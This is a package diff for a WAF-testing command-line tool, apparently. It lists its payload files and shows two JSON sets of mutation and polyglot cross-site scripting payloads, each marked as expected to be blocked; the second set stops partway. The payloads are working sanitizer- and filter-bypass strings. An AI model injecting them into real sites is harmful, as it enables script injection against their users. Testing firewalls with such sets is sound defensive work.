@waftester/cli 2.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +80 -0
- package/LICENSE-COMMUNITY +28 -0
- package/README.md +121 -0
- package/bin/cli.js +152 -0
- package/package.json +52 -0
- package/payloads/community/README.md +45 -0
- package/payloads/community/ai/ml-poisoning.json +173 -0
- package/payloads/community/ai/prompt-injection.json +247 -0
- package/payloads/community/ai/workflow-abuse.json +222 -0
- package/payloads/community/auth/jwt.json +855 -0
- package/payloads/community/auth/login-bypass.json +623 -0
- package/payloads/community/auth/mfa.json +402 -0
- package/payloads/community/auth/oauth.json +421 -0
- package/payloads/community/auth/open-redirect.json +1028 -0
- package/payloads/community/auth/session.json +404 -0
- package/payloads/community/cache/deception.json +402 -0
- package/payloads/community/cache/poisoning.json +403 -0
- package/payloads/community/deserialization/gadget.json +375 -0
- package/payloads/community/deserialization/prototype.json +370 -0
- package/payloads/community/fuzz/content-type.json +397 -0
- package/payloads/community/fuzz/headers.json +401 -0
- package/payloads/community/fuzz/methods.json +397 -0
- package/payloads/community/fuzz/obfuscation.json +362 -0
- package/payloads/community/fuzz/special-chars.json +740 -0
- package/payloads/community/fuzz/waf-bypass.json +452 -0
- package/payloads/community/graphql/batching-abuse.json +271 -0
- package/payloads/community/graphql/depth-limit.json +271 -0
- package/payloads/community/graphql/introspection.json +267 -0
- package/payloads/community/injection/crlf.json +569 -0
- package/payloads/community/injection/ldap.json +357 -0
- package/payloads/community/injection/nosqli.json +529 -0
- package/payloads/community/injection/oscmd.json +662 -0
- package/payloads/community/injection/rce-polyglots.json +452 -0
- package/payloads/community/injection/sqli.json +681 -0
- package/payloads/community/injection/ssti.json +584 -0
- package/payloads/community/injection/upload-attacks.json +632 -0
- package/payloads/community/injection/xpath.json +357 -0
- package/payloads/community/injection/xxe.json +716 -0
- package/payloads/community/logic/forced-browsing.json +405 -0
- package/payloads/community/logic/idor.json +1026 -0
- package/payloads/community/logic/privilege.json +337 -0
- package/payloads/community/media/exif-injection.json +225 -0
- package/payloads/community/media/metadata-poison.json +239 -0
- package/payloads/community/protocol/http-smuggling.json +798 -0
- package/payloads/community/protocol/http2-attacks.json +382 -0
- package/payloads/community/protocol/websocket-abuse.json +375 -0
- package/payloads/community/rate-limit/burst-simulation.json +286 -0
- package/payloads/community/rate-limit/bypass-attempts.json +326 -0
- package/payloads/community/rate-limit/zone-tests.json +332 -0
- package/payloads/community/services/authentik.json +415 -0
- package/payloads/community/services/immich.json +423 -0
- package/payloads/community/services/n8n.json +366 -0
- package/payloads/community/sqli-basic.json +182 -0
- package/payloads/community/ssrf/cloud-metadata.json +999 -0
- package/payloads/community/ssrf/dns-rebinding.json +503 -0
- package/payloads/community/ssrf/internal-networks.json +627 -0
- package/payloads/community/ssrf/protocol-smuggling.json +350 -0
- package/payloads/community/ssti/multi-language-templates.json +191 -0
- package/payloads/community/ssti/python-templates.json +200 -0
- package/payloads/community/traversal/basic.json +675 -0
- package/payloads/community/traversal/cloud-credentials.json +107 -0
- package/payloads/community/traversal/config-files.json +193 -0
- package/payloads/community/traversal/encoding.json +558 -0
- package/payloads/community/traversal/null-byte.json +105 -0
- package/payloads/community/traversal/symlink.json +93 -0
- package/payloads/community/traversal/unicode.json +134 -0
- package/payloads/community/traversal/unix-advanced.json +195 -0
- package/payloads/community/traversal/windows-advanced.json +195 -0
- package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
- package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
- package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
- package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
- package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
- package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
- package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
- package/payloads/community/waf-bypass/unicode-charset.json +152 -0
- package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
- package/payloads/community/waf-validation/README.md +172 -0
- package/payloads/community/waf-validation/bypass-techniques.json +272 -0
- package/payloads/community/waf-validation/custom-rules.json +952 -0
- package/payloads/community/waf-validation/evasion-techniques.json +272 -0
- package/payloads/community/waf-validation/modsecurity-core.json +151 -0
- package/payloads/community/waf-validation/owasp-top10.json +236 -0
- package/payloads/community/waf-validation/regression-tests.json +227 -0
- package/payloads/community/xss/csp-bypass.json +431 -0
- package/payloads/community/xss/dom.json +389 -0
- package/payloads/community/xss/filter-bypass.json +1242 -0
- package/payloads/community/xss/mutation.json +263 -0
- package/payloads/community/xss/polyglots.json +371 -0
- package/payloads/community/xss/reflected.json +187 -0
- package/payloads/community/xss/stored.json +330 -0
- package/payloads/crlf-injection.json +182 -0
- package/payloads/ids-map.json +155 -0
- package/payloads/ldap-injection.json +182 -0
- package/payloads/nosql-injection.json +227 -0
- package/payloads/prototype-pollution.json +182 -0
- package/payloads/request-smuggling.json +182 -0
- package/payloads/version.json +28 -0
- package/payloads/xss-advanced.json +227 -0
- package/templates/README.md +221 -0
- package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
- package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
- package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
- package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
- package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
- package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
- package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
- package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
- package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
- package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
- package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
- package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
- package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
- package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
- package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
- package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
- package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
- package/templates/output/asff.tmpl +61 -0
- package/templates/output/csv.tmpl +4 -0
- package/templates/output/junit.tmpl +34 -0
- package/templates/output/markdown-report.tmpl +92 -0
- package/templates/output/slack-notification.tmpl +95 -0
- package/templates/output/text-summary.tmpl +56 -0
- package/templates/overrides/api-only.yaml +130 -0
- package/templates/overrides/crs-tuning.yaml +204 -0
- package/templates/overrides/false-positive-suppression.yaml +159 -0
- package/templates/policies/owasp-top10.yaml +152 -0
- package/templates/policies/pci-dss.yaml +124 -0
- package/templates/policies/permissive.yaml +40 -0
- package/templates/policies/standard.yaml +57 -0
- package/templates/policies/strict.yaml +72 -0
- package/templates/report-configs/compliance.yaml +173 -0
- package/templates/report-configs/dark.yaml +136 -0
- package/templates/report-configs/enterprise.yaml +175 -0
- package/templates/report-configs/minimal.yaml +84 -0
- package/templates/report-configs/print.yaml +139 -0
- package/templates/workflows/api-scan.yaml +132 -0
- package/templates/workflows/ci-gate.yaml +129 -0
- package/templates/workflows/full-scan.yaml +133 -0
- package/templates/workflows/quick-probe.yaml +80 -0
- package/templates/workflows/waf-detection.yaml +89 -0
|
@@ -0,0 +1,263 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "XSS-MXSS-080",
|
|
4
|
+
"payload": "<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">",
|
|
5
|
+
"tags": [
|
|
6
|
+
"mutation",
|
|
7
|
+
"noscript",
|
|
8
|
+
"attribute-escape",
|
|
9
|
+
"quick"
|
|
10
|
+
],
|
|
11
|
+
"expected_block": true,
|
|
12
|
+
"severity_hint": "Critical",
|
|
13
|
+
"notes": "mXSS via noscript attribute mutation",
|
|
14
|
+
"category": "XSS"
|
|
15
|
+
},
|
|
16
|
+
{
|
|
17
|
+
"id": "XSS-MXSS-081",
|
|
18
|
+
"payload": "<svg><style><img src=x onerror=alert(1)></style></svg>",
|
|
19
|
+
"tags": [
|
|
20
|
+
"mutation",
|
|
21
|
+
"svg",
|
|
22
|
+
"style"
|
|
23
|
+
],
|
|
24
|
+
"expected_block": true,
|
|
25
|
+
"severity_hint": "Critical",
|
|
26
|
+
"notes": "mXSS via SVG style element mutation",
|
|
27
|
+
"category": "XSS"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "XSS-MXSS-082",
|
|
31
|
+
"payload": "<math><mtext><table><mglyph><style><!--</style><img title=\"--><img src=x onerror=alert(1)>\">",
|
|
32
|
+
"tags": [
|
|
33
|
+
"mutation",
|
|
34
|
+
"mathml",
|
|
35
|
+
"table"
|
|
36
|
+
],
|
|
37
|
+
"expected_block": true,
|
|
38
|
+
"severity_hint": "Critical",
|
|
39
|
+
"notes": "mXSS via MathML table mutation",
|
|
40
|
+
"category": "XSS"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"id": "XSS-MXSS-083",
|
|
44
|
+
"payload": "<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert(1)>",
|
|
45
|
+
"tags": [
|
|
46
|
+
"mutation",
|
|
47
|
+
"form",
|
|
48
|
+
"mathml"
|
|
49
|
+
],
|
|
50
|
+
"expected_block": true,
|
|
51
|
+
"severity_hint": "High",
|
|
52
|
+
"notes": "mXSS via form/MathML namespace confusion",
|
|
53
|
+
"category": "XSS"
|
|
54
|
+
},
|
|
55
|
+
{
|
|
56
|
+
"id": "XSS-MXSS-084",
|
|
57
|
+
"payload": "<svg><foreignObject><body><img src=x onerror=alert(1)></foreignObject></svg>",
|
|
58
|
+
"tags": [
|
|
59
|
+
"mutation",
|
|
60
|
+
"foreignObject",
|
|
61
|
+
"namespace"
|
|
62
|
+
],
|
|
63
|
+
"expected_block": true,
|
|
64
|
+
"severity_hint": "Critical",
|
|
65
|
+
"notes": "mXSS via foreignObject namespace switch",
|
|
66
|
+
"category": "XSS"
|
|
67
|
+
},
|
|
68
|
+
{
|
|
69
|
+
"id": "XSS-MXSS-085",
|
|
70
|
+
"payload": "<div><style><xss id=\"</style><img src=x onerror=alert(1)>\"></div>",
|
|
71
|
+
"tags": [
|
|
72
|
+
"mutation",
|
|
73
|
+
"style",
|
|
74
|
+
"attribute-escape"
|
|
75
|
+
],
|
|
76
|
+
"expected_block": true,
|
|
77
|
+
"severity_hint": "Critical",
|
|
78
|
+
"notes": "mXSS via style tag attribute escape",
|
|
79
|
+
"category": "XSS"
|
|
80
|
+
},
|
|
81
|
+
{
|
|
82
|
+
"id": "XSS-MXSS-086",
|
|
83
|
+
"payload": "<listing><img src=x onerror=alert(1)></listing>",
|
|
84
|
+
"tags": [
|
|
85
|
+
"mutation",
|
|
86
|
+
"listing",
|
|
87
|
+
"legacy"
|
|
88
|
+
],
|
|
89
|
+
"expected_block": true,
|
|
90
|
+
"severity_hint": "Medium",
|
|
91
|
+
"notes": "mXSS via deprecated listing element",
|
|
92
|
+
"category": "XSS"
|
|
93
|
+
},
|
|
94
|
+
{
|
|
95
|
+
"id": "XSS-MXSS-087",
|
|
96
|
+
"payload": "<xmp><img src=x onerror=alert(1)></xmp>",
|
|
97
|
+
"tags": [
|
|
98
|
+
"mutation",
|
|
99
|
+
"xmp",
|
|
100
|
+
"legacy"
|
|
101
|
+
],
|
|
102
|
+
"expected_block": true,
|
|
103
|
+
"severity_hint": "Medium",
|
|
104
|
+
"notes": "mXSS via deprecated xmp element",
|
|
105
|
+
"category": "XSS"
|
|
106
|
+
},
|
|
107
|
+
{
|
|
108
|
+
"id": "XSS-MXSS-088",
|
|
109
|
+
"payload": "<svg><desc><![CDATA[</desc><img src=x onerror=alert(1)>]]></svg>",
|
|
110
|
+
"tags": [
|
|
111
|
+
"mutation",
|
|
112
|
+
"cdata",
|
|
113
|
+
"svg"
|
|
114
|
+
],
|
|
115
|
+
"expected_block": true,
|
|
116
|
+
"severity_hint": "High",
|
|
117
|
+
"notes": "mXSS via CDATA mutation in SVG",
|
|
118
|
+
"category": "XSS"
|
|
119
|
+
},
|
|
120
|
+
{
|
|
121
|
+
"id": "XSS-MXSS-089",
|
|
122
|
+
"payload": "<svg><title><iframe onload=alert(1)></title></svg>",
|
|
123
|
+
"tags": [
|
|
124
|
+
"mutation",
|
|
125
|
+
"svg",
|
|
126
|
+
"title"
|
|
127
|
+
],
|
|
128
|
+
"expected_block": true,
|
|
129
|
+
"severity_hint": "High",
|
|
130
|
+
"notes": "mXSS via SVG title element mutation",
|
|
131
|
+
"category": "XSS"
|
|
132
|
+
},
|
|
133
|
+
{
|
|
134
|
+
"id": "XSS-MXSS-090",
|
|
135
|
+
"payload": "<table><math><select><mi><select><mi><select><mi><select><img src=x onerror=alert(1)>",
|
|
136
|
+
"tags": [
|
|
137
|
+
"mutation",
|
|
138
|
+
"nested",
|
|
139
|
+
"select"
|
|
140
|
+
],
|
|
141
|
+
"expected_block": true,
|
|
142
|
+
"severity_hint": "High",
|
|
143
|
+
"notes": "mXSS via deeply nested select/MathML mutation",
|
|
144
|
+
"category": "XSS"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"id": "XSS-MXSS-091",
|
|
148
|
+
"payload": "<svg><style>*{background:url(\"</style><img src=x onerror=alert(1)\">\"}</style></svg>",
|
|
149
|
+
"tags": [
|
|
150
|
+
"mutation",
|
|
151
|
+
"css",
|
|
152
|
+
"url"
|
|
153
|
+
],
|
|
154
|
+
"expected_block": true,
|
|
155
|
+
"severity_hint": "Critical",
|
|
156
|
+
"notes": "mXSS via CSS URL mutation",
|
|
157
|
+
"category": "XSS"
|
|
158
|
+
},
|
|
159
|
+
{
|
|
160
|
+
"id": "XSS-MXSS-092",
|
|
161
|
+
"payload": "<img alt=\"<x>\" src=x onerror=alert(1)>",
|
|
162
|
+
"tags": [
|
|
163
|
+
"mutation",
|
|
164
|
+
"attribute",
|
|
165
|
+
"entity"
|
|
166
|
+
],
|
|
167
|
+
"expected_block": true,
|
|
168
|
+
"severity_hint": "High",
|
|
169
|
+
"notes": "mXSS via attribute entity mutation",
|
|
170
|
+
"category": "XSS"
|
|
171
|
+
},
|
|
172
|
+
{
|
|
173
|
+
"id": "XSS-MXSS-093",
|
|
174
|
+
"payload": "<svg><animate attributeName=href from=javascript:alert(1) to=1 />",
|
|
175
|
+
"tags": [
|
|
176
|
+
"mutation",
|
|
177
|
+
"animate",
|
|
178
|
+
"href"
|
|
179
|
+
],
|
|
180
|
+
"expected_block": true,
|
|
181
|
+
"severity_hint": "High",
|
|
182
|
+
"notes": "mXSS via SVG animate attributeName mutation",
|
|
183
|
+
"category": "XSS"
|
|
184
|
+
},
|
|
185
|
+
{
|
|
186
|
+
"id": "XSS-MXSS-094",
|
|
187
|
+
"payload": "<plaintext><script>alert(1)</script>",
|
|
188
|
+
"tags": [
|
|
189
|
+
"mutation",
|
|
190
|
+
"plaintext",
|
|
191
|
+
"legacy"
|
|
192
|
+
],
|
|
193
|
+
"expected_block": true,
|
|
194
|
+
"severity_hint": "Medium",
|
|
195
|
+
"notes": "mXSS via plaintext element (stops parsing)",
|
|
196
|
+
"category": "XSS"
|
|
197
|
+
},
|
|
198
|
+
{
|
|
199
|
+
"id": "XSS-MXSS-095",
|
|
200
|
+
"payload": "<isindex type=image src=x onerror=alert(1)>",
|
|
201
|
+
"tags": [
|
|
202
|
+
"mutation",
|
|
203
|
+
"isindex",
|
|
204
|
+
"deprecated"
|
|
205
|
+
],
|
|
206
|
+
"expected_block": true,
|
|
207
|
+
"severity_hint": "Medium",
|
|
208
|
+
"notes": "mXSS via deprecated isindex element",
|
|
209
|
+
"category": "XSS"
|
|
210
|
+
},
|
|
211
|
+
{
|
|
212
|
+
"id": "XSS-MXSS-096",
|
|
213
|
+
"payload": "<math><mi xlink:href=\"javascript:alert(1)\">click</mi></math>",
|
|
214
|
+
"tags": [
|
|
215
|
+
"mutation",
|
|
216
|
+
"xlink",
|
|
217
|
+
"namespace"
|
|
218
|
+
],
|
|
219
|
+
"expected_block": true,
|
|
220
|
+
"severity_hint": "High",
|
|
221
|
+
"notes": "mXSS via XLink namespace in MathML",
|
|
222
|
+
"category": "XSS"
|
|
223
|
+
},
|
|
224
|
+
{
|
|
225
|
+
"id": "XSS-MXSS-097",
|
|
226
|
+
"payload": "<svg><use href=\"data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x\" /></svg>",
|
|
227
|
+
"tags": [
|
|
228
|
+
"mutation",
|
|
229
|
+
"use",
|
|
230
|
+
"data-uri"
|
|
231
|
+
],
|
|
232
|
+
"expected_block": true,
|
|
233
|
+
"severity_hint": "Critical",
|
|
234
|
+
"notes": "mXSS via SVG use element with data URI",
|
|
235
|
+
"category": "XSS"
|
|
236
|
+
},
|
|
237
|
+
{
|
|
238
|
+
"id": "XSS-MXSS-098",
|
|
239
|
+
"payload": "<img src=\"javascript:alert(1)\" onerror=\"this.src='javascript:alert(2)'\">",
|
|
240
|
+
"tags": [
|
|
241
|
+
"mutation",
|
|
242
|
+
"double-trigger",
|
|
243
|
+
"onerror"
|
|
244
|
+
],
|
|
245
|
+
"expected_block": true,
|
|
246
|
+
"severity_hint": "High",
|
|
247
|
+
"notes": "mXSS double trigger via src mutation in onerror",
|
|
248
|
+
"category": "XSS"
|
|
249
|
+
},
|
|
250
|
+
{
|
|
251
|
+
"id": "XSS-MXSS-099",
|
|
252
|
+
"payload": "<form><button formaction=javascript:alert(1)>Click</button></form>",
|
|
253
|
+
"tags": [
|
|
254
|
+
"mutation",
|
|
255
|
+
"formaction",
|
|
256
|
+
"sanitizer-bypass"
|
|
257
|
+
],
|
|
258
|
+
"expected_block": true,
|
|
259
|
+
"severity_hint": "High",
|
|
260
|
+
"notes": "mXSS via formaction sanitizer bypass",
|
|
261
|
+
"category": "XSS"
|
|
262
|
+
}
|
|
263
|
+
]
|
|
@@ -0,0 +1,371 @@
|
|
|
1
|
+
[
|
|
2
|
+
{
|
|
3
|
+
"id": "XSS-POLY-010",
|
|
4
|
+
"payload": "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\\x3csVg/<sVg/oNloAd=alert()//\\x3e",
|
|
5
|
+
"tags": ["polyglot", "ultimate", "multi-context"],
|
|
6
|
+
"expected_block": true,
|
|
7
|
+
"severity_hint": "Critical",
|
|
8
|
+
"notes": "Ultimate XSS polyglot - works in 20+ contexts",
|
|
9
|
+
"category": "XSS"
|
|
10
|
+
},
|
|
11
|
+
{
|
|
12
|
+
"id": "XSS-POLY-011",
|
|
13
|
+
"payload": "javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
|
|
14
|
+
"tags": ["polyglot", "multi-context", "advanced"],
|
|
15
|
+
"expected_block": true,
|
|
16
|
+
"severity_hint": "Critical",
|
|
17
|
+
"notes": "Breaks title, style, textarea, script, xmp contexts",
|
|
18
|
+
"category": "XSS"
|
|
19
|
+
},
|
|
20
|
+
{
|
|
21
|
+
"id": "XSS-POLY-012",
|
|
22
|
+
"payload": "'\"><img src=x onerror=alert(1)//>",
|
|
23
|
+
"tags": ["polyglot", "attribute", "quick"],
|
|
24
|
+
"expected_block": true,
|
|
25
|
+
"severity_hint": "Critical",
|
|
26
|
+
"notes": "Escapes single and double quote attribute contexts",
|
|
27
|
+
"category": "XSS"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"id": "XSS-POLY-013",
|
|
31
|
+
"payload": "\"'><script>alert(1)</script>",
|
|
32
|
+
"tags": ["polyglot", "script", "attribute"],
|
|
33
|
+
"expected_block": true,
|
|
34
|
+
"severity_hint": "Critical",
|
|
35
|
+
"notes": "Attribute escape with script injection",
|
|
36
|
+
"category": "XSS"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"id": "XSS-POLY-014",
|
|
40
|
+
"payload": "'-alert(1)-'",
|
|
41
|
+
"tags": ["polyglot", "string-context", "minimal"],
|
|
42
|
+
"expected_block": true,
|
|
43
|
+
"severity_hint": "High",
|
|
44
|
+
"notes": "Works in JS string context with subtraction",
|
|
45
|
+
"category": "XSS"
|
|
46
|
+
},
|
|
47
|
+
{
|
|
48
|
+
"id": "XSS-POLY-015",
|
|
49
|
+
"payload": "\\'-alert(1)//",
|
|
50
|
+
"tags": ["polyglot", "escape", "string"],
|
|
51
|
+
"expected_block": true,
|
|
52
|
+
"severity_hint": "High",
|
|
53
|
+
"notes": "Backslash escape bypass",
|
|
54
|
+
"category": "XSS"
|
|
55
|
+
},
|
|
56
|
+
{
|
|
57
|
+
"id": "XSS-POLY-016",
|
|
58
|
+
"payload": "</script><svg/onload=alert(1)>",
|
|
59
|
+
"tags": ["polyglot", "script-escape"],
|
|
60
|
+
"expected_block": true,
|
|
61
|
+
"severity_hint": "Critical",
|
|
62
|
+
"notes": "Script block escape polyglot",
|
|
63
|
+
"category": "XSS"
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
"id": "XSS-POLY-017",
|
|
67
|
+
"payload": "*/</script><script>alert(1)</script>/*",
|
|
68
|
+
"tags": ["polyglot", "comment", "script"],
|
|
69
|
+
"expected_block": true,
|
|
70
|
+
"severity_hint": "Critical",
|
|
71
|
+
"notes": "Comment and script escape polyglot",
|
|
72
|
+
"category": "XSS"
|
|
73
|
+
},
|
|
74
|
+
{
|
|
75
|
+
"id": "XSS-POLY-018",
|
|
76
|
+
"payload": "\";alert(1)//",
|
|
77
|
+
"tags": ["polyglot", "attribute", "string"],
|
|
78
|
+
"expected_block": true,
|
|
79
|
+
"severity_hint": "High",
|
|
80
|
+
"notes": "Attribute value escape with comment",
|
|
81
|
+
"category": "XSS"
|
|
82
|
+
},
|
|
83
|
+
{
|
|
84
|
+
"id": "XSS-POLY-019",
|
|
85
|
+
"payload": "'-alert(1)+'",
|
|
86
|
+
"tags": ["polyglot", "string", "concatenation"],
|
|
87
|
+
"expected_block": true,
|
|
88
|
+
"severity_hint": "High",
|
|
89
|
+
"notes": "String concatenation context",
|
|
90
|
+
"category": "XSS"
|
|
91
|
+
},
|
|
92
|
+
{
|
|
93
|
+
"id": "XSS-POLY-020",
|
|
94
|
+
"payload": "</title><script>alert(1)</script><title>",
|
|
95
|
+
"tags": ["polyglot", "title", "escape"],
|
|
96
|
+
"expected_block": true,
|
|
97
|
+
"severity_hint": "Critical",
|
|
98
|
+
"notes": "Title tag polyglot",
|
|
99
|
+
"category": "XSS"
|
|
100
|
+
},
|
|
101
|
+
{
|
|
102
|
+
"id": "XSS-POLY-021",
|
|
103
|
+
"payload": "</textarea><script>alert(1)</script><textarea>",
|
|
104
|
+
"tags": ["polyglot", "textarea", "escape"],
|
|
105
|
+
"expected_block": true,
|
|
106
|
+
"severity_hint": "Critical",
|
|
107
|
+
"notes": "Textarea escape polyglot",
|
|
108
|
+
"category": "XSS"
|
|
109
|
+
},
|
|
110
|
+
{
|
|
111
|
+
"id": "XSS-POLY-022",
|
|
112
|
+
"payload": "</style><script>alert(1)</script><style>",
|
|
113
|
+
"tags": ["polyglot", "style", "escape"],
|
|
114
|
+
"expected_block": true,
|
|
115
|
+
"severity_hint": "Critical",
|
|
116
|
+
"notes": "Style tag polyglot",
|
|
117
|
+
"category": "XSS"
|
|
118
|
+
},
|
|
119
|
+
{
|
|
120
|
+
"id": "XSS-POLY-023",
|
|
121
|
+
"payload": "</noscript><script>alert(1)</script><noscript>",
|
|
122
|
+
"tags": ["polyglot", "noscript", "escape"],
|
|
123
|
+
"expected_block": true,
|
|
124
|
+
"severity_hint": "Critical",
|
|
125
|
+
"notes": "Noscript escape polyglot",
|
|
126
|
+
"category": "XSS"
|
|
127
|
+
},
|
|
128
|
+
{
|
|
129
|
+
"id": "XSS-POLY-024",
|
|
130
|
+
"payload": "x]><script>alert(1)</script>",
|
|
131
|
+
"tags": ["polyglot", "processing-instruction"],
|
|
132
|
+
"expected_block": true,
|
|
133
|
+
"severity_hint": "High",
|
|
134
|
+
"notes": "Processing instruction escape",
|
|
135
|
+
"category": "XSS"
|
|
136
|
+
},
|
|
137
|
+
{
|
|
138
|
+
"id": "XSS-POLY-025",
|
|
139
|
+
"payload": "--><script>alert(1)</script><!--",
|
|
140
|
+
"tags": ["polyglot", "comment", "escape"],
|
|
141
|
+
"expected_block": true,
|
|
142
|
+
"severity_hint": "Critical",
|
|
143
|
+
"notes": "HTML comment polyglot",
|
|
144
|
+
"category": "XSS"
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
"id": "XSS-POLY-026",
|
|
148
|
+
"payload": "]]><script>alert(1)</script><![CDATA[",
|
|
149
|
+
"tags": ["polyglot", "cdata", "xml"],
|
|
150
|
+
"expected_block": true,
|
|
151
|
+
"severity_hint": "High",
|
|
152
|
+
"notes": "CDATA escape polyglot",
|
|
153
|
+
"category": "XSS"
|
|
154
|
+
},
|
|
155
|
+
{
|
|
156
|
+
"id": "XSS-POLY-027",
|
|
157
|
+
"payload": "%3Cscript%3Ealert(1)%3C/script%3E",
|
|
158
|
+
"tags": ["polyglot", "url-encoded"],
|
|
159
|
+
"expected_block": true,
|
|
160
|
+
"severity_hint": "High",
|
|
161
|
+
"notes": "URL-encoded script polyglot",
|
|
162
|
+
"category": "XSS"
|
|
163
|
+
},
|
|
164
|
+
{
|
|
165
|
+
"id": "XSS-POLY-028",
|
|
166
|
+
"payload": "<script>alert(1)</script>",
|
|
167
|
+
"tags": ["polyglot", "html-entities"],
|
|
168
|
+
"expected_block": true,
|
|
169
|
+
"severity_hint": "High",
|
|
170
|
+
"notes": "HTML entity encoded polyglot",
|
|
171
|
+
"category": "XSS"
|
|
172
|
+
},
|
|
173
|
+
{
|
|
174
|
+
"id": "XSS-POLY-029",
|
|
175
|
+
"payload": "<img src=\"x\" onerror=\"alert(1)\">",
|
|
176
|
+
"tags": ["polyglot", "img", "standard"],
|
|
177
|
+
"expected_block": true,
|
|
178
|
+
"severity_hint": "High",
|
|
179
|
+
"notes": "Standard img onerror polyglot",
|
|
180
|
+
"category": "XSS"
|
|
181
|
+
},
|
|
182
|
+
{
|
|
183
|
+
"id": "XSS-POLY-030",
|
|
184
|
+
"payload": "<svg><script>alert(1)</script></svg>",
|
|
185
|
+
"tags": ["polyglot", "svg", "script"],
|
|
186
|
+
"expected_block": true,
|
|
187
|
+
"severity_hint": "Critical",
|
|
188
|
+
"notes": "SVG with script polyglot",
|
|
189
|
+
"category": "XSS"
|
|
190
|
+
},
|
|
191
|
+
{
|
|
192
|
+
"id": "XSS-POLY-031",
|
|
193
|
+
"payload": "<math><maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(1)\">CLICKME</maction></math>",
|
|
194
|
+
"tags": ["polyglot", "mathml", "advanced"],
|
|
195
|
+
"expected_block": true,
|
|
196
|
+
"severity_hint": "Critical",
|
|
197
|
+
"notes": "MathML XSS polyglot",
|
|
198
|
+
"category": "XSS"
|
|
199
|
+
},
|
|
200
|
+
{
|
|
201
|
+
"id": "XSS-POLY-032",
|
|
202
|
+
"payload": "<xmp><p title=\"</xmp><script>alert(1)</script>\">",
|
|
203
|
+
"tags": ["polyglot", "xmp", "escape"],
|
|
204
|
+
"expected_block": true,
|
|
205
|
+
"severity_hint": "Critical",
|
|
206
|
+
"notes": "XMP tag polyglot",
|
|
207
|
+
"category": "XSS"
|
|
208
|
+
},
|
|
209
|
+
{
|
|
210
|
+
"id": "XSS-POLY-033",
|
|
211
|
+
"payload": "jaVasCript:alert(1)//';\"--></title></style></textarea></script></xmp>",
|
|
212
|
+
"tags": ["polyglot", "javascript-proto", "multi"],
|
|
213
|
+
"expected_block": true,
|
|
214
|
+
"severity_hint": "Critical",
|
|
215
|
+
"notes": "JavaScript protocol multi-context polyglot",
|
|
216
|
+
"category": "XSS"
|
|
217
|
+
},
|
|
218
|
+
{
|
|
219
|
+
"id": "XSS-POLY-034",
|
|
220
|
+
"payload": "1;alert(1)//';\"--></script></style></title></textarea>",
|
|
221
|
+
"tags": ["polyglot", "js-context", "multi"],
|
|
222
|
+
"expected_block": true,
|
|
223
|
+
"severity_hint": "Critical",
|
|
224
|
+
"notes": "JS context multi-escape polyglot",
|
|
225
|
+
"category": "XSS"
|
|
226
|
+
},
|
|
227
|
+
{
|
|
228
|
+
"id": "XSS-POLY-035",
|
|
229
|
+
"payload": "{{constructor.constructor('alert(1)')()}}",
|
|
230
|
+
"tags": ["polyglot", "angular", "ssti"],
|
|
231
|
+
"expected_block": true,
|
|
232
|
+
"severity_hint": "Critical",
|
|
233
|
+
"notes": "Angular/Vue SSTI polyglot",
|
|
234
|
+
"category": "XSS"
|
|
235
|
+
},
|
|
236
|
+
{
|
|
237
|
+
"id": "XSS-POLY-036",
|
|
238
|
+
"payload": "${alert(1)}",
|
|
239
|
+
"tags": ["polyglot", "template", "es6"],
|
|
240
|
+
"expected_block": true,
|
|
241
|
+
"severity_hint": "High",
|
|
242
|
+
"notes": "ES6 template literal injection",
|
|
243
|
+
"category": "XSS"
|
|
244
|
+
},
|
|
245
|
+
{
|
|
246
|
+
"id": "XSS-POLY-037",
|
|
247
|
+
"payload": "#{alert(1)}",
|
|
248
|
+
"tags": ["polyglot", "ruby", "interpolation"],
|
|
249
|
+
"expected_block": true,
|
|
250
|
+
